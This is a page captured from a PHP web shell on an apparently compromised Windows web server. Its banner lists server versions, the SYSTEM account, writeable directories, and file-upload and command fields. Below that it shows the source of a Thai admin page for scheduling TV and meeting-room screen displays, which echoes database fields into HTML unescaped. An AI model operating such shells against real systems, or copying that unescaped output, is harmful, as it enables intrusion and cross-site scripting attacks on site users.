403Webshell
Server IP : 172.67.187.206  /  Your IP : 172.71.28.155
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/pr/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/pr/admin_schedule.php
<?php
include 'functions.php';

// เช็คว่าต้องเข้าสู่ระบบ และบล็อก User ทั่วไปไม่ให้เข้าหน้านี้
if(!isset($_SESSION['user_id']) || $_SESSION['role'] == 'user') {
    echo "<script>alert('คุณไม่มีสิทธิ์เข้าถึงหน้านี้'); window.location='dashboard.php';</script>";
    exit();
}

// วันที่ปัจจุบัน
$today = date('Y-m-d');
$role = $_SESSION['role'];

// กำหนดหัวเว็บตาม Role
if($role == 'admin') {
    echo get_header("ตารางงาน - จอโทรทัศน์");
} else {
    echo get_header("ตารางงาน - จอห้องประชุม");
}
?>

<?php if($role == 'admin') { 
    // ดึงข้อมูลทั้งหมดที่ตรงกับวันนี้ (ไม่สนใจสถานะ)
    $sql_today = "SELECT r.*, u.group_name 
                  FROM requests r 
                  JOIN users u ON r.user_id = u.user_id 
                  WHERE '$today' BETWEEN r.start_date AND r.end_date 
                  ORDER BY r.start_date ASC";
    $res_today = mysqli_query($conn, $sql_today);
    $count_today = mysqli_num_rows($res_today);
?>
    <div class="row mb-5">
        <div class="col-12">
            <div class="card shadow border-primary border-3">
                <div class="card-header bg-primary text-white d-flex justify-content-between align-items-center">
                    <h4 class="mb-0"><i class="bi bi-display"></i> มอนิเตอร์: ต้องขึ้นรูปจอโทรทัศน์วันนี้</h4>
                    <span class="badge bg-white text-primary fs-5"><?php echo $count_today; ?> รายการ</span>
                </div>
                <div class="card-body bg-light">
                    <?php if($count_today > 0) { ?>
                        <div class="row">
                            <?php while($row = mysqli_fetch_assoc($res_today)) { 
                                $is_design = ($row['req_type'] == 'design');
                                $is_pending = ($row['status'] == 'pending');
                                
                                // ตั้งค่าสีการ์ดและสถานะ
                                $card_border = $is_pending ? "border-danger" : "border-primary";
                                $status_badge = $is_pending ? '<span class="badge bg-danger mt-1"><i class="bi bi-exclamation-triangle"></i> ยังไม่ได้ดำเนินการ</span>' : '<span class="badge bg-success mt-1"><i class="bi bi-check-circle"></i> พร้อมแสดงผล</span>';
                            ?>
                            <div class="col-md-6 col-lg-4 mb-3">
                                <div class="card h-100 shadow-sm <?php echo $card_border; ?>" style="border-width: 0 0 0 4px;">
                                    <div class="card-body">
                                        <div class="d-flex justify-content-between align-items-start">
                                            <h5 class="card-title fw-bold text-primary mb-0"><?php echo $row['title']; ?></h5>
                                        </div>
                                        <?php echo $status_badge; ?>
                                        <p class="mb-1 mt-2 small text-muted">
                                            <i class="bi bi-person-circle"></i> <?php echo $row['group_name']; ?> | 
                                            <i class="bi bi-calendar-check"></i> ถึง <?php echo thai_date($row['end_date']); ?>
                                        </p>
                                        <hr>
                                        <p class="mb-2 fw-bold small"><i class="bi bi-images"></i> รูปที่ต้องใช้แสดงผล:</p>
                                        
                                        <div class="d-flex flex-wrap gap-2">
                                            <?php 
                                            $role_condition = $is_design ? "AND uploader_role = 'admin'" : "AND (uploader_role = 'user' OR uploader_role IS NULL)";
                                            $sql_img = "SELECT filename FROM request_images WHERE req_id = ".$row['req_id']." $role_condition";
                                            $res_img = mysqli_query($conn, $sql_img);
                                            
                                            if(mysqli_num_rows($res_img) > 0) {
                                                while($img = mysqli_fetch_assoc($res_img)){
                                                    echo "<div class='text-center'>
                                                            <a href='uploads/".$img['filename']."' target='_blank'>
                                                                <img src='uploads/".$img['filename']."' class='img-thumbnail border-success' style='height:100px; object-fit:cover;'>
                                                            </a>
                                                            <div class='mt-1'><a href='uploads/".$img['filename']."' download class='btn btn-xs btn-outline-secondary py-0' style='font-size:10px;'>ดาวน์โหลด</a></div>
                                                          </div>";
                                                }
                                            } else {
                                                if($is_design && $is_pending) {
                                                    echo "<div class='alert alert-danger py-1 px-2 small w-100 mb-0'><i class='bi bi-x-circle'></i> งานนี้ยังไม่ได้ทำรูป/ยังไม่ได้อัปโหลด</div>";
                                                } else {
                                                    echo "<div class='alert alert-warning py-1 px-2 small w-100 mb-0'>ไม่พบไฟล์รูป</div>";
                                                }
                                            }
                                            ?>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <?php } ?>
                        </div>
                    <?php } else { ?>
                        <div class="text-center py-4 text-muted"><i class="bi bi-calendar-x fs-1"></i><p class="mt-2">วันนี้ไม่มีรายการขึ้นจอโทรทัศน์</p></div>
                    <?php } ?>
                </div>
            </div>
        </div>
    </div>

    <div class="d-flex justify-content-between align-items-center mb-3">
        <h4><i class="bi bi-calendar3"></i> ตารางประชาสัมพันธ์จอโทรทัศน์ทั้งหมด</h4>
    </div>
    <div class="row">
        <?php 
        // ดึงทั้งหมดมาเรียง
        $sql_all = "SELECT r.*, u.group_name FROM requests r JOIN users u ON r.user_id = u.user_id ORDER BY start_date DESC"; 
        $result = mysqli_query($conn, $sql_all);
        if(mysqli_num_rows($result) > 0) {
            while($row = mysqli_fetch_assoc($result)) { 
                $modal_id = "tvModal_" . $row['req_id'];
                $status_class = "border-secondary";
                $status_text = "";
                $job_status = ($row['status'] == 'done') ? '<span class="badge bg-primary ms-1">เสร็จ</span>' : '<span class="badge bg-danger ms-1">รอทำ</span>';
                
                if($today >= $row['start_date'] && $today <= $row['end_date']) {
                    $status_class = "border-success shadow";
                    $status_text = '<span class="badge bg-success">On Air</span>';
                } elseif ($today < $row['start_date']) {
                    $status_class = "border-info";
                    $status_text = '<span class="badge bg-info text-dark">รอแสดงผล</span>';
                } else {
                    $status_class = "border-light text-muted opacity-75";
                    $status_text = '<span class="badge bg-secondary">จบแล้ว</span>';
                }

                // ถ้า On Air แต่ยังไม่ได้ทำ ให้เน้นขอบแดงเตือน
                if($row['status'] == 'pending' && $today >= $row['start_date'] && $today <= $row['end_date']) {
                    $status_class = "border-danger shadow border-2";
                }
        ?>
        <div class="col-md-3 mb-3">
            <div class="card h-100 <?php echo $status_class; ?>">
                <div class="card-header bg-transparent d-flex justify-content-between align-items-center px-2 py-1">
                    <small><?php echo thai_date($row['start_date']); ?></small>
                    <?php echo $status_text; ?>
                </div>
                <div class="card-body p-2">
                    <h6 class="card-title text-truncate mb-1">
                        <a href="#" class="text-decoration-none fw-bold text-dark stretched-link" data-bs-toggle="modal" data-bs-target="#<?php echo $modal_id; ?>"><?php echo $row['title']; ?></a>
                    </h6>
                    <p class="card-text small mb-0 d-flex justify-content-between align-items-center">
                        <span class="text-truncate text-muted"><i class="bi bi-people"></i> <?php echo $row['group_name']; ?></span>
                        <?php echo $job_status; ?>
                    </p>
                </div>
            </div>
        </div>

        <div class="modal fade" id="<?php echo $modal_id; ?>" tabindex="-1">
            <div class="modal-dialog modal-lg">
                <div class="modal-content">
                    <div class="modal-header bg-primary text-white">
                        <h5 class="modal-title">รายละเอียดจอโทรทัศน์: <?php echo $row['title']; ?></h5>
                        <button type="button" class="btn-close btn-close-white" data-bs-dismiss="modal"></button>
                    </div>
                    <div class="modal-body">
                        <p>
                            <strong>ผู้ขอ:</strong> <?php echo $row['group_name']; ?> | 
                            <strong>เวลา:</strong> <?php echo thai_date($row['start_date']); ?> - <?php echo thai_date($row['end_date']); ?> |
                            <strong>สถานะงาน:</strong> <?php echo ($row['status'] == 'done') ? '<span class="text-success">ดำเนินการแล้ว</span>' : '<span class="text-danger fw-bold">ยังไม่ได้ดำเนินการ (Pending)</span>'; ?>
                        </p>
                        <div class="alert alert-light border p-2"><strong>รายละเอียด:</strong><br><?php echo nl2br($row['details']); ?></div>
                        <h6>รูปภาพที่เกี่ยวข้อง:</h6>
                        <div class="d-flex flex-wrap gap-2">
                            <?php 
                            $sql_img = "SELECT filename FROM request_images WHERE req_id = " . $row['req_id'];
                            $res_img = mysqli_query($conn, $sql_img);
                            if(mysqli_num_rows($res_img) > 0) {
                                while($img = mysqli_fetch_assoc($res_img)){
                                    echo "<a href='uploads/".$img['filename']."' target='_blank'><img src='uploads/".$img['filename']."' class='img-thumbnail' style='height:100px;'></a>";
                                }
                            } else {
                                echo "<span class='text-muted small'>ไม่มีรูปภาพ</span>";
                            }
                            ?>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <?php }} else { echo "<div class='col-12'><div class='alert alert-light text-center'>ยังไม่มีตารางงาน</div></div>"; } ?>
    </div>


<?php } else if($role == 'admin_meeting') { 
    $sql_today_m = "SELECT m.*, u.group_name 
                    FROM meeting_requests m 
                    JOIN users u ON m.user_id = u.user_id 
                    WHERE '$today' BETWEEN m.start_date AND m.end_date 
                    ORDER BY m.start_date ASC";
    $res_today_m = mysqli_query($conn, $sql_today_m);
    $count_today_m = mysqli_num_rows($res_today_m);
?>
    <div class="row mb-5">
        <div class="col-12">
            <div class="card shadow border-success border-3">
                <div class="card-header bg-success text-white d-flex justify-content-between align-items-center">
                    <h4 class="mb-0"><i class="bi bi-projector"></i> มอนิเตอร์: ต้องขึ้นจอห้องประชุมวันนี้</h4>
                    <span class="badge bg-white text-success fs-5"><?php echo $count_today_m; ?> ห้อง</span>
                </div>
                <div class="card-body bg-light">
                    <?php if($count_today_m > 0) { ?>
                        <div class="row">
                            <?php while($row_m = mysqli_fetch_assoc($res_today_m)) { 
                                $is_pending_m = ($row_m['status'] == 'pending');
                                $card_border_m = $is_pending_m ? "border-danger" : "border-success";
                                $status_badge_m = $is_pending_m ? '<span class="badge bg-danger mt-1"><i class="bi bi-exclamation-triangle"></i> ยังไม่ได้ดำเนินการ</span>' : '<span class="badge bg-success mt-1"><i class="bi bi-check-circle"></i> พร้อมใช้งาน</span>';
                            ?>
                            <div class="col-md-6 col-lg-4 mb-3">
                                <div class="card h-100 shadow-sm <?php echo $card_border_m; ?>" style="border-width: 0 0 0 4px;">
                                    <div class="card-body">
                                        <div class="d-flex justify-content-between align-items-start">
                                            <h5 class="card-title fw-bold text-success mb-0"><?php echo $row_m['topic']; ?></h5>
                                            <span class="badge bg-success"><?php echo $row_m['room']; ?></span>
                                        </div>
                                        <?php echo $status_badge_m; ?>
                                        <p class="mb-1 small text-muted mt-2">
                                            <i class="bi bi-person-circle"></i> <?php echo $row_m['group_name']; ?> <br>
                                            <i class="bi bi-calendar-check"></i> 
                                            <?php echo ($row_m['date_type']=='single') ? thai_date($row_m['start_date']) : "ถึง " . thai_date($row_m['end_date']); ?>
                                        </p>
                                        <hr>
                                        <p class="mb-2 fw-bold small"><i class="bi bi-paperclip"></i> ไฟล์ที่ต้องใช้แสดงผล:</p>
                                        
                                        <div class="d-flex flex-wrap gap-2">
                                            <?php 
                                            $sql_f = "SELECT * FROM meeting_files WHERE mreq_id = ".$row_m['mreq_id'];
                                            $res_f = mysqli_query($conn, $sql_f);
                                            if(mysqli_num_rows($res_f) > 0) {
                                                while($file = mysqli_fetch_assoc($res_f)){
                                                    $ext = strtolower(pathinfo($file['filename'], PATHINFO_EXTENSION));
                                                    $is_image = in_array($ext, ['jpg','jpeg','png','gif','webp']);
                                                    
                                                    echo "<div class='text-center'>";
                                                    if($is_image){
                                                        echo "<a href='uploads/".$file['filename']."' target='_blank'>
                                                                <img src='uploads/".$file['filename']."' class='img-thumbnail border-success' style='height:80px; width:80px; object-fit:cover;' title='".$file['original_name']."'>
                                                              </a>";
                                                    } else {
                                                        echo "<a href='uploads/".$file['filename']."' target='_blank' class='btn btn-outline-secondary p-1 d-flex flex-column align-items-center justify-content-center bg-white shadow-sm' style='height:80px; width:80px;' title='".$file['original_name']."'>
                                                                <i class='bi bi-file-earmark-text fs-4'></i>
                                                                <span class='small text-truncate w-100 mt-1' style='font-size:9px;'>".strtoupper($ext)."</span>
                                                              </a>";
                                                    }
                                                    echo "<div class='mt-1'><a href='uploads/".$file['filename']."' download class='btn btn-xs btn-outline-success py-0' style='font-size:10px;' title='โหลดไฟล์'>ดาวน์โหลด</a></div>";
                                                    echo "</div>";
                                                }
                                            } else {
                                                echo "<span class='text-muted small w-100'>ไม่มีไฟล์แนบ</span>";
                                            }
                                            ?>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <?php } ?>
                        </div>
                    <?php } else { ?>
                        <div class="text-center py-4 text-muted"><i class="bi bi-projector fs-1"></i><p class="mt-2">วันนี้ไม่มีการใช้งานจอห้องประชุม</p></div>
                    <?php } ?>
                </div>
            </div>
        </div>
    </div>

    <div class="d-flex justify-content-between align-items-center mb-3">
        <h4><i class="bi bi-calendar3"></i> ตารางใช้จอห้องประชุมทั้งหมด</h4>
    </div>
    <div class="row">
        <?php 
        $sql_all_m = "SELECT m.*, u.group_name FROM meeting_requests m JOIN users u ON m.user_id = u.user_id ORDER BY start_date DESC"; 
        $result_m = mysqli_query($conn, $sql_all_m);
        if(mysqli_num_rows($result_m) > 0) {
            while($row_m = mysqli_fetch_assoc($result_m)) { 
                $modal_id = "mtgModal_" . $row_m['mreq_id'];
                $status_class = "border-secondary";
                $status_text = "";
                $job_status_m = ($row_m['status'] == 'done') ? '<span class="badge bg-primary ms-1">เสร็จ</span>' : '<span class="badge bg-danger ms-1">รอทำ</span>';
                
                if($today >= $row_m['start_date'] && $today <= $row_m['end_date']) {
                    $status_class = "border-success shadow";
                    $status_text = '<span class="badge bg-success">ใช้งานวันนี้</span>';
                } elseif ($today < $row_m['start_date']) {
                    $status_class = "border-info";
                    $status_text = '<span class="badge bg-info text-dark">รอใช้งาน</span>';
                } else {
                    $status_class = "border-light text-muted opacity-75";
                    $status_text = '<span class="badge bg-secondary">จบแล้ว</span>';
                }

                // เน้นขอบแดงถ้าถึงเวลาใช้แล้วแต่ยังไม่ได้กดเสร็จงาน
                if($row_m['status'] == 'pending' && $today >= $row_m['start_date'] && $today <= $row_m['end_date']) {
                    $status_class = "border-danger shadow border-2";
                }
        ?>
        <div class="col-md-3 mb-3">
            <div class="card h-100 <?php echo $status_class; ?>">
                <div class="card-header bg-transparent d-flex justify-content-between align-items-center px-2 py-1">
                    <small><?php echo thai_date($row_m['start_date']); ?></small>
                    <?php echo $status_text; ?>
                </div>
                <div class="card-body p-2">
                    <h6 class="card-title text-truncate mb-1">
                        <a href="#" class="text-decoration-none fw-bold text-dark stretched-link" data-bs-toggle="modal" data-bs-target="#<?php echo $modal_id; ?>"><?php echo $row_m['topic']; ?></a>
                    </h6>
                    <p class="card-text small mb-1"><span class="badge bg-light text-dark border"><?php echo $row_m['room']; ?></span></p>
                    <p class="card-text small mb-0 d-flex justify-content-between align-items-center">
                        <span class="text-truncate text-muted"><i class="bi bi-people"></i> <?php echo $row_m['group_name']; ?></span>
                        <?php echo $job_status_m; ?>
                    </p>
                </div>
            </div>
        </div>

        <div class="modal fade" id="<?php echo $modal_id; ?>" tabindex="-1">
            <div class="modal-dialog modal-lg">
                <div class="modal-content">
                    <div class="modal-header bg-success text-white">
                        <h5 class="modal-title">รายละเอียดห้องประชุม: <?php echo $row_m['topic']; ?></h5>
                        <button type="button" class="btn-close btn-close-white" data-bs-dismiss="modal"></button>
                    </div>
                    <div class="modal-body">
                        <p>
                            <strong>ห้อง:</strong> <span class="badge bg-success"><?php echo $row_m['room']; ?></span> | 
                            <strong>ผู้ขอ:</strong> <?php echo $row_m['group_name']; ?> <br>
                            <strong>วันที่ใช้งาน:</strong> <?php echo ($row_m['date_type']=='single') ? thai_date($row_m['start_date']) : thai_date($row_m['start_date']) . " - " . thai_date($row_m['end_date']); ?> <br>
                            <strong>สถานะงาน:</strong> <?php echo ($row_m['status'] == 'done') ? '<span class="text-success">ดำเนินการแล้ว</span>' : '<span class="text-danger fw-bold">ยังไม่ได้ดำเนินการ (Pending)</span>'; ?>
                        </p>
                        <hr>
                        <h6>ไฟล์ที่เกี่ยวข้อง:</h6>
                        <div class="d-flex flex-wrap gap-2">
                            <?php 
                            $sql_f = "SELECT * FROM meeting_files WHERE mreq_id = " . $row_m['mreq_id'];
                            $res_f = mysqli_query($conn, $sql_f);
                            if(mysqli_num_rows($res_f) > 0){
                                while($file = mysqli_fetch_assoc($res_f)){
                                    $ext = strtolower(pathinfo($file['filename'], PATHINFO_EXTENSION));
                                    $is_image = in_array($ext, ['jpg','jpeg','png','gif','webp']);
                                    if($is_image){
                                        echo "<a href='uploads/".$file['filename']."' target='_blank'><img src='uploads/".$file['filename']."' class='img-thumbnail' style='height:80px; object-fit:cover;' title='".$file['original_name']."'></a>";
                                    } else {
                                        echo "<a href='uploads/".$file['filename']."' target='_blank' class='btn btn-outline-secondary p-1 d-flex flex-column align-items-center justify-content-center' style='height:80px; width:80px;' title='".$file['original_name']."'>
                                                <i class='bi bi-file-earmark-text fs-4'></i><span class='small text-truncate w-100 mt-1' style='font-size:9px;'>".strtoupper($ext)."</span>
                                              </a>";
                                    }
                                }
                            } else { echo "<span class='text-muted small'>ไม่มีไฟล์แนบ</span>"; }
                            ?>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <?php }} else { echo "<div class='col-12'><div class='alert alert-light text-center'>ยังไม่มีตารางงานห้องประชุม</div></div>"; } ?>
    </div>
<?php } ?>

<?php echo get_footer(); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit